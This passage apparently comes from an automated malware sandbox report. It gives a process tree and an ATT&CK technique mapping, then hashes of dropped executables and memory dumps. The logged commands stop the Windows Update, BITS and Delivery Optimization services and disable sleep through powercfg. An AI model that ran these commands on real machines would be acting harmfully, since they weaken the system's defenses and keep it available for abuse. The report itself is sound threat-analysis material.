- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4504
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:3320
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:4176
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2756
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:5044
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:5820
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2188
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2404
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
40588a42cb8549ecc094e7d45f28c74c

SHA1
65d5d1f79fe82009c3c4c6d2c7ce874939926b8b

SHA256
787628c3dd129679416857bcb63c52f8477a02cfeadfe0d4d5d98eb7902c61d8

SHA512
e77dd348027e9df604520e228061f2e9c3d87ad695567c81dd95976eaba7df580eb565bff8b485558a0561bdd0de6ac202ead1965f6c23f746e5542ff9bea3c6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1nrx0qs0.ne1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\file1.exe

Filesize
9.3MB

MD5
a8133dab079ce24c46a35749109d8f34

SHA1
455ac75b069b855bd3785a0f56d69276b8e83b01

SHA256
c8c36f079915be17e2c725b4247ceca4269e42fa6712f59d90147b103d60251e

SHA512
a57ecbda300a2a92c034177bf70cf441606ae9a68e1d0ec1be032921cea44d5fdfde23c5dfcf10dcc9b97a518b0a31d752fb24b344a5f80c30aa3e20e429ec06

Download Submit
C:\Users\Admin\AppData\Local\file2.exe

Filesize
2.5MB

MD5
514e00d37d15901490a4974d59e63c96

SHA1
80575034e11501ad1fff1ad865234d109cbc6a16

SHA256
51371a9eb105df4a666f224347e377bc294358ad022d3c4a739fe3f65e09637d

SHA512
e55508411a803333cb67bb12a8b6f76b9f627a94de87263ba44e59e00e70722b938b3de5fc14bcd5d37871bbf760751ba973454eb077efdaae0a26b96138c255

Download Submit
memory/628-12-0x00007FFB997A0000-0x00007FFB9A261000-memory.dmp

Filesize
10.8MB

Download
memory/628-15-0x00007FFB997A0000-0x00007FFB9A261000-memory.dmp

Filesize
10.8MB

Download
memory/628-0-0x00007FFB997A3000-0x00007FFB997A5000-memory.dmp

Filesize
8KB

Download
memory/628-11-0x00007FFB997A0000-0x00007FFB9A261000-memory.dmp

Filesize
10.8MB

Download
memory/628-1-0x000002C372F40000-0x000002C372F62000-memory.dmp

Filesize
136KB

Download
memory/2404-88-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2404-89-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2404-90-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2404-91-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2404-92-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2404-95-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/3876-106-0x0000000140000000-0x0000000140835000-memory.dmp

Filesize
8.2MB

Download
memory/3876-98-0x0000000140000000-0x0000000140835000-memory.dmp

Filesize
8.2MB

Download
memory/3876-111-0x0000000140000000-0x0000000140835000-memory.dmp

Filesize
8.2MB

Download
memory/3876-96-0x0000000140000000-0x0000000140835000-memory.dmp

Filesize
8.2MB

Download
memory/3876-107-0x0000000140000000-0x0000000140835000-memory.dmp

Filesize
8.2MB

Download
memory/3876-113-0x0000000140000000-0x0000000140835000-memory.dmp

Filesize
8.2MB

Download
memory/3876-105-0x0000000140000000-0x0000000140835000-memory.dmp

Filesize
8.2MB

Download
memory/3876-104-0x0000000140000000-0x0000000140835000-memory.dmp

Filesize
8.2MB

Download
memory/3876-101-0x0000000140000000-0x0000000140835000-memory.dmp

Filesize
8.2MB

Download
memory/3876-108-0x0000000140000000-0x0000000140835000-memory.dmp

Filesize
8.2MB

Download
memory/3876-103-0x0000000000640000-0x0000000000660000-memory.dmp

Filesize
128KB

Download
memory/3876-102-0x0000000140000000-0x0000000140835000-memory.dmp

Filesize
8.2MB

Download
memory/3876-100-0x0000000140000000-0x0000000140835000-memory.dmp

Filesize
8.2MB

Download
memory/3876-112-0x0000000140000000-0x0000000140835000-memory.dmp

Filesize
8.2MB

Download
memory/3876-99-0x0000000140000000-0x0000000140835000-memory.dmp

Filesize
8.2MB

Download
memory/3876-97-0x0000000140000000-0x0000000140835000-memory.dmp

Filesize
8.2MB

Download
memory/3876-110-0x0000000140000000-0x0000000140835000-memory.dmp

Filesize
8.2MB

Download
memory/3876-109-0x0000000140000000-0x0000000140835000-memory.dmp

Filesize
8.2MB

Download
memory/4512-80-0x0000017A7A510000-0x0000017A7A52C000-memory.dmp

Filesize
112KB

Download
memory/4512-79-0x0000017A7A2C0000-0x0000017A7A2CA000-memory.dmp

Filesize
40KB

Download
memory/4512-78-0x0000017A7A2F0000-0x0000017A7A3A5000-memory.dmp

Filesize
724KB

Download
memory/4512-77-0x0000017A7A2D0000-0x0000017A7A2EC000-memory.dmp

Filesize
112KB

Download
memory/4512-81-0x0000017A7A4F0000-0x0000017A7A4FA000-memory.dmp

Filesize
40KB

Download
memory/4512-85-0x0000017A7A540000-0x0000017A7A54A000-memory.dmp

Filesize
40KB

Download
memory/4512-83-0x0000017A7A500000-0x0000017A7A508000-memory.dmp

Filesize
32KB

Download
memory/4512-84-0x0000017A7A530000-0x0000017A7A536000-memory.dmp

Filesize
24KB

Download
memory/4512-82-0x0000017A7A550000-0x0000017A7A56A000-memory.dmp

Filesize
104KB

Download